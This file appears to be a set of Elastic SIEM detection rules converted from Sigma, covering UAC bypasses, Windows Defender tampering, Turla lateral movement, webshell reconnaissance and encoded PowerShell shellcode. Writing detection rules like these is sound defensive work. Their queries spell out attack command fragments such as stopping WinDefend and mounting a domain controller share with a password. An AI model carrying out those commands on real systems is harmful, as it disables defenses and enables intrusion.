{"description":"Detects an executable in the Windows folder accessing github.com Author: Michael Haag (idea), Florian Roth (rule). License: ","enabled":false,"false_positives":["Unknown","@subTee in your network"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"635dbb88-67b3-4b41-9ea5-a3af2dd88153","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Microsoft Binary Github Communication","query":"(winlog.event_data.Initiated:\"true\" AND destination.domain:(*.github.com OR *.githubusercontent.com) AND process.executable:C\\:\\\\Windows\\\\*)","meta":{"from":"1m"},"severity":"high","tags":["Lateral Movement","T1105","T1567"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0010","reference":"","name":"Exfiltration"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1567","name":"Exfiltration Over Web Service","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects an executable in the Windows folder accessing suspicious domains Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e0f8ab85-0ac9-423b-a73a-81b3c7b1aa97","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Microsoft Binary Suspicious Communication Endpoint","query":"(winlog.event_data.Initiated:\"true\" AND destination.domain:(*dl.dropboxusercontent.com OR *.pastebin.com OR *.githubusercontent.com) AND process.executable:C\\:\\\\Windows\\\\*)","meta":{"from":"1m"},"severity":"high","tags":["Lateral Movement","T1105"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects an exploitation attempt in which the UAC consent dialogue is used to invoke an Internet Explorer process running as LOCAL_SYSTEM Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"02e0b2ea-a597-428e-b04a-af6a1a403e5c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Exploiting CVE-2019-1388","query":"((process.parent.executable:*\\\\consent.exe AND process.executable:*\\\\iexplore.exe AND process.command_line:*\\ http*) AND (IntegrityLevel:\"System\" OR user.name:(NT\\ AUTHORITY\\\\SYSTEM* OR AUTORITE\\ NT\\\\Sys*)))","meta":{"from":"1m"},"severity":"critical","tags":["Privilege Escalation","T1068"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1068","name":"Exploitation for Privilege Escalation","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects an image load pattern as seen when a tool named PRIVATELOG is used and rarely observed under legitimate circumstances Author: Florian Roth. License: ","enabled":false,"false_positives":["Rarely observed"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1e3381f9-0ca9-0db7-fc5d-92b43bca2eb8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"APT PRIVATELOG Image Load Pattern","query":"(process.executable:*\\\\svchost.exe AND file.path:*\\\\clfsw32.dll)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1055"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects an UAC bypass that uses changepk.exe and slui.exe (UACMe 61) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"04bac874-44c4-3e0b-ba6f-3f222a31939b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Using ChangePK and SLUI","query":"(process.executable:*\\\\changepk.exe AND process.parent.executable:*\\\\slui.exe AND IntegrityLevel:(\"High\" OR \"System\"))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects any assembly DLL being loaded by an Office Product Author: Antonlovesdnb. License: ","enabled":false,"false_positives":["Alerts on legitimate macro usage as well, will need to filter as appropriate"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"77df7737-9b12-4bda-8144-b838ad8ebddb","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"dotNET DLL Loaded Via Office Applications","query":"(process.executable:(*\\\\winword.exe OR *\\\\powerpnt.exe OR *\\\\excel.exe OR *\\\\outlook.exe) AND file.path:C\\:\\\\Windows\\\\assembly\\\\*)","meta":{"from":"1m"},"severity":"high","tags":["T1204"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1204","name":"User Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects any GAC DLL being loaded by an Office Product Author: Antonlovesdnb. License: ","enabled":false,"false_positives":["Alerts on legitimate macro usage as well, will need to filter as appropriate"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c7d1b1e4-925b-1a3c-5c1c-c3d23df674f2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"GAC DLL Loaded Via Office Applications","query":"(process.executable:(*\\\\winword.exe OR *\\\\powerpnt.exe OR *\\\\excel.exe OR *\\\\outlook.exe) AND file.path:C\\:\\\\Windows\\\\Microsoft.NET\\\\assembly\\\\GAC_MSIL*)","meta":{"from":"1m"},"severity":"high","tags":["T1204"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1204","name":"User Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Archer malware invocation via rundll32 Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3d4aebe0-6d29-45b2-a8a4-3dfde586a26d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Fireball Archer Install","query":"(process.command_line:*rundll32.exe* AND process.command_line:*InstallArcherSvc*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019. Author: Tim Burrell. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9c9922a6-9f4d-fbee-ef04-62096d71475a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"GALLIUM Artefacts","query":"(sha1:\"e570585edc69f9074cb5e8a790708336bd45ca0f\" AND (NOT (process.executable:(*\\:\\\\Program\\ Files\$x86\$\\\\* OR *\\:\\\\Program\\ Files\\\\*))))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1071","T1212"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1212","name":"Exploitation for Credential Access","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019. Author: Tim Burrell. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"440a56bf-7873-4439-940a-1c8a671073c2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"GALLIUM Artefacts","query":"sha1:(\"53a44c2396d15c3a03723fa5e5db54cafd527635\" OR \"9c5e496921e3bc882dc40694f1dcc3746a75db19\" OR \"aeb573accfd95758550cf30bf04f389a92922844\" OR \"79ef78a797403a4ed1a616c68e07fff868a8650a\" OR \"4f6f38b4cec35e895d91c052b1f5a83d665c2196\" OR \"1e8c2cac2e4ce7cbd33c3858eb2e24531cb8a84d\" OR \"e841a63e47361a572db9a7334af459ddca11347a\" OR \"c28f606df28a9bc8df75a4d5e5837fc5522dd34d\" OR \"2e94b305d6812a9f96e6781c888e48c7fb157b6b\" OR \"dd44133716b8a241957b912fa6a02efde3ce3025\" OR \"8793bf166cb89eb55f0593404e4e933ab605e803\" OR \"a39b57032dbb2335499a51e13470a7cd5d86b138\" OR \"41cc2b15c662bc001c0eb92f6cc222934f0beeea\" OR \"d209430d6af54792371174e70e27dd11d3def7a7\" OR \"1c6452026c56efd2c94cea7e0f671eb55515edb0\" OR \"c6b41d3afdcdcaf9f442bbe772f5da871801fd5a\" OR \"4923d460e22fbbf165bbbaba168e5a46b8157d9f\" OR \"f201504bd96e81d0d350c3a8332593ee1c9e09de\" OR \"ddd2db1127632a2a52943a2fe516a2e7d05d70d2\")","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1071","T1212"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1212","name":"Exploitation for Credential Access","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects attackers attempting to disable Windows Defender using Powershell Author: ok @securonix invrep-de, oscd.community, frack113. License: ","enabled":false,"false_positives":["Minimal, for some older versions of dev tools, such as pycharm, developers were known to sometimes disable Windows Defender to improve performance, but this generally is not considered a good security practice."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a7ee1722-c3c5-aeff-3212-c777e4733217","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Powershell Used To Disable Windows Defender AV Security Monitoring","query":"((process.executable:*\\\\powershell.exe AND process.command_line:(*\\-DisableBehaviorMonitoring\\ $true* OR *\\-DisableRuntimeMonitoring\\ $true*)) OR (process.command_line:*sc* AND process.command_line:*stop* AND process.command_line:*WinDefend*) OR (process.command_line:*sc* AND process.command_line:*config* AND process.command_line:*WinDefend* AND process.command_line:*start\\=disabled*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects attackers using tooling with bad opsec defaults e.g. spawning a sacrificial process to inject a capability into the process without taking into account how the process is normally run, one trivial example of this is using rundll32.exe without arguments as a sacrificial process (default in CS, now highlighted by c2lint), running WerFault without arguments (Kraken - credit am0nsec), and other examples. Author: Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth, Christian Burkard. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a7c3d773-caef-227e-a7e7-c2f13c622329","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Bad Opsec Defaults Sacrificial Processes With Improper Arguments","query":"((process.executable:*\\\\WerFault.exe AND process.command_line:*\\\\WerFault.exe) OR (process.executable:*\\\\rundll32.exe AND process.command_line:*\\\\rundll32.exe) OR (process.executable:*\\\\regsvcs.exe AND process.command_line:*\\\\regsvcs.exe) OR (process.executable:*\\\\regasm.exe AND process.command_line:*\\\\regasm.exe) OR (process.executable:*\\\\regsvr32.exe AND process.command_line:*\\\\regsvr32.exe))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations. Author: Pawel Mazur, Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC. License: ","enabled":false,"false_positives":["Legitimate usage of xclip tools."],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"ec127035-a636-4b9a-8555-0efd4e59f316","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Clipboard Collection with Xclip Tool","query":"(process.executable:*xclip* AND process.command_line:(*\\-selection* OR *\\-sel*) AND process.command_line:(*clipboard* OR *clip*) AND process.command_line:*\\-o*)","meta":{"from":"1m"},"severity":"low","tags":["T1485"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1485","name":"Data Destruction","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects attempts to masquerade as legitimate files by adding a space to the end of the filename. Author: remotephone. License: ","enabled":false,"false_positives":["Mistyped commands or legitimate binaries named to match the pattern"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"b6e2a2e3-2d30-43b1-a4ea-071e36595690","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Space After Filename - macOS","query":"(process.command_line:*\\ OR ImageName:*\\ )","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects attempts to use screencapture to collect macOS screenshots Author: remotephone, oscd.community. License: ","enabled":false,"false_positives":["Legitimate user activity taking screenshots"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"0877ed01-da46-4c49-8476-d49cdd80dfa7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Screen Capture - macOS","query":"process.executable:\"\\/usr\\/sbin\\/screencapture\"","meta":{"from":"1m"},"severity":"low","tags":["T1113"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1113","name":"Screen Capture","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects attempts to use system dialog prompts to capture user credentials Author: remotephone, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration tools and activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"60f1ce20-484e-41bd-85f4-ac4afec2c541","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"GUI Input Capture - macOS","query":"(process.executable:\"\\/usr\\/sbin\\/osascript\" AND process.command_line:*\\-e* AND process.command_line:*display* AND process.command_line:*dialog* AND process.command_line:*answer* AND process.command_line:(*admin* OR *administrator* OR *authenticate* OR *authentication* OR *credentials* OR *pass* OR *password* OR *unlock*))","meta":{"from":"1m"},"severity":"low","tags":["Credential Access","T1056"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1056","name":"Input Capture","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects audio capture via PowerShell Cmdlet. Author: E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community. License: ","enabled":false,"false_positives":["Legitimate audio capture by legitimate user."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"932fb0d8-692b-4b0f-a26e-5643a50fe7d6","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Audio Capture via PowerShell","query":"process.command_line:*WindowsAudioDevice\\-Powershell\\-Cmdlet*","meta":{"from":"1m"},"severity":"medium","tags":["T1123"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1123","name":"Audio Capture","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects automated lateral movement by Turla group Author: Markus Neis. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c601f20d-570a-4cde-a7d6-e17f99cb8e7f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Turla Group Lateral Movement","query":"process.command_line:(net\\ use\\ \\\\%DomainController%\\\\C$\\ \\\"P@ssw0rd\\\"\\ * OR dir\\ c\\:\\\\*.doc*\\ \\/s OR dir\\ %TEMP%\\\\*.exe)","meta":{"from":"1m"},"severity":"critical","tags":["Lateral Movement","T1021","T1059","T1083","T1135"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1083","name":"File and Directory Discovery","reference":""},{"id":"T1135","name":"Network Share Discovery","reference":""}]},{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1021","name":"Remote Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Azure Hybrid Connection Manager services querying the Azure service bus service Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["Legitimate use of Azure Hybrid Connection Manager and the Azure Service Bus service"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8a0e2c05-1389-a555-46c9-96c920f8ad6e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"DNS HybridConnectionManager Service Bus","query":"(dns.question.name:*servicebus.windows.net* AND process.executable:*HybridConnectionManager*)","meta":{"from":"1m"},"severity":"high","tags":["T1554"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1554","name":"Compromise Client Software Binary","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Base64 encoded Shellcode Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2d117e49-e626-4c7c-bd1f-c3c0147774c8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"PowerShell Base64 Encoded Shellcode","query":"(process.command_line:*AAAAYInlM* AND process.command_line:(*OiCAAAAYInlM* OR *OiJAAAAYInlM*))","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1027"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects base64 encoded strings used in hidden malicious PowerShell command lines Author: John Lambert (rule). License: ","enabled":false,"false_positives":["Penetration tests"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f26c6093-6f14-4b12-800f-0fcb46f5ffd0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Malicious Base64 Encoded PowerShell Keywords in Command Lines","query":"(process.executable:*\\\\powershell.exe AND process.command_line:*\\ hidden\\ * AND process.command_line:(*AGkAdABzAGEAZABtAGkAbgAgAC8AdAByAGEAbgBzAGYAZQByA* OR *aXRzYWRtaW4gL3RyYW5zZmVy* OR *IAaQB0AHMAYQBkAG0AaQBuACAALwB0AHIAYQBuAHMAZgBlAHIA* OR *JpdHNhZG1pbiAvdHJhbnNmZX* OR *YgBpAHQAcwBhAGQAbQBpAG4AIAAvAHQAcgBhAG4AcwBmAGUAcg* OR *Yml0c2FkbWluIC90cmFuc2Zlc* OR *AGMAaAB1AG4AawBfAHMAaQB6AGUA* OR *JABjAGgAdQBuAGsAXwBzAGkAegBlA* OR *JGNodW5rX3Npem* OR *QAYwBoAHUAbgBrAF8AcwBpAHoAZQ* OR *RjaHVua19zaXpl* OR *Y2h1bmtfc2l6Z* OR *AE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4A* OR *kATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8Abg* OR *lPLkNvbXByZXNzaW9u* OR *SQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuA* OR *SU8uQ29tcHJlc3Npb2* OR *Ty5Db21wcmVzc2lvb* OR *AE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQ* OR *kATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtA* OR *lPLk1lbW9yeVN0cmVhb* OR *SQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0A* OR *SU8uTWVtb3J5U3RyZWFt* OR *Ty5NZW1vcnlTdHJlYW* OR *4ARwBlAHQAQwBoAHUAbgBrA* OR *5HZXRDaHVua* OR *AEcAZQB0AEMAaAB1AG4Aaw* OR *LgBHAGUAdABDAGgAdQBuAGsA* OR *LkdldENodW5r* OR *R2V0Q2h1bm* OR *AEgAUgBFAEEARABfAEkATgBGAE8ANgA0A* OR *QASABSAEUAQQBEAF8ASQBOAEYATwA2ADQA* OR *RIUkVBRF9JTkZPNj* OR *SFJFQURfSU5GTzY0* OR *VABIAFIARQBBAEQAXwBJAE4ARgBPADYANA* OR *VEhSRUFEX0lORk82N* OR *AHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZA* OR *cmVhdGVSZW1vdGVUaHJlYW* OR *MAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkA* OR *NyZWF0ZVJlbW90ZVRocmVhZ* OR *Q3JlYXRlUmVtb3RlVGhyZWFk* OR *QwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAVABoAHIAZQBhAGQA* OR *0AZQBtAG0AbwB2AGUA* OR *1lbW1vdm* OR *AGUAbQBtAG8AdgBlA* OR *bQBlAG0AbQBvAHYAZQ* OR *bWVtbW92Z* OR *ZW1tb3Zl*))","meta":{"from":"1m"},"severity":"high","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects capture a network trace via netsh.exe trace functionality Author: Kutepov Anton, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administrator or user uses netsh.exe trace functionality for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d3c3861d-c504-4c77-ba55-224ba82d0118","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Capture a Network Trace with netsh.exe","query":"(process.command_line:*netsh* AND process.command_line:*trace* AND process.command_line:*start*)","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1040"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1040","name":"Network Sniffing","reference":""}]},{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1040","name":"Network Sniffing","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects cases in which a file gets renamed to .dll, which often happens to bypass perimeter protection Author: frack113. License: ","enabled":false,"false_positives":["Application installation"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2bec48b4-8636-eb24-5e75-792c52f84b0e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Rename Common File to DLL File","query":"((file.path:*.dll AND (NOT (OriginalFilename:(*.dll OR *.tmp) OR OriginalFilename:*.dll.*))) AND (NOT (process.executable:C\\:\\\\Windows\\\\WinSxS\\\\* AND process.executable:*\\\\TiWorker.exe)))","meta":{"from":"1m"},"severity":"medium","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects certain command line parameters often used during reconnaissance activity via web shells Author: Florian Roth, Jonhnathan Ribeiro, Anton Kutepov, oscd.community. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1678f75b-8388-e04a-fdd3-e5623eab2018","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Webshell Detection With Command Line Keywords","query":"((process.parent.executable:(*\\\\w3wp.exe OR *\\\\php\\-cgi.exe OR *\\\\nginx.exe OR *\\\\httpd.exe) OR process.parent.executable:(*\\\\apache* OR *\\\\tomcat*)) AND (((process.executable:(*\\\\net.exe OR *\\\\net1.exe) AND process.command_line:(*\\ user\\ * OR *\\ use\\ * OR *\\ group\\ *)) OR (process.executable:*\\\\ping.exe AND process.command_line:*\\ \\-n\\ *) OR process.command_line:(*&cd&echo* OR *cd\\ \\/d\\ *)) OR (process.executable:*\\\\wmic.exe AND process.command_line:*\\ \\/node\\:*) OR process.executable:(*\\\\whoami.exe OR *\\\\systeminfo.exe OR *\\\\quser.exe OR *\\\\ipconfig.exe OR *\\\\pathping.exe OR *\\\\tracert.exe OR *\\\\netstat.exe OR *\\\\schtasks.exe OR *\\\\vssadmin.exe OR *\\\\wevtutil.exe OR *\\\\tasklist.exe) OR process.command_line:(*\\ Test\\-NetConnection\\ * OR *dir\\ \\\\*)))","meta":{"from":"1m"},"severity":"high","tags":["T1018","T1033","T1087","T1505"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1505","name":"Server Software Component","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018 Author: Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ce6e34ca-966d-41c9-8d93-5b06c8b97a06","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Chafer Activity","query":"((process.command_line:*\\\\Service.exe* AND process.command_line:(*i OR *u)) OR (process.command_line:*\\\\microsoft\\\\Taskbar\\\\autoit3.exe OR process.command_line:C\\:\\\\wsc.exe*) OR (process.executable:*\\\\Windows\\\\Temp\\\\DB\\\\* AND process.executable:*.exe) OR (process.command_line:*\\\\nslookup.exe* AND process.command_line:*\\-q\\=TXT* AND process.parent.executable:*\\\\Autoit*))","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1053","T1071","T1112","T1543"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""},{"id":"T1543","name":"Create or Modify System Process","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects changes to 'HKCU\\Software\\Classes\\Folder\\shell\\open\\command\\DelegateExecute' Author: Omkar Gudhate. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b863b5e5-5dd5-55cb-26f1-08c9a21c57c1","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"COM Hijack via Sdclt","query":"winlog.event_data.TargetObject:\"HKCU\\\\Software\\\\Classes\\\\Folder\\\\shell\\\\open\\\\command\\\\DelegateExecute\"","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1546","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""},{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
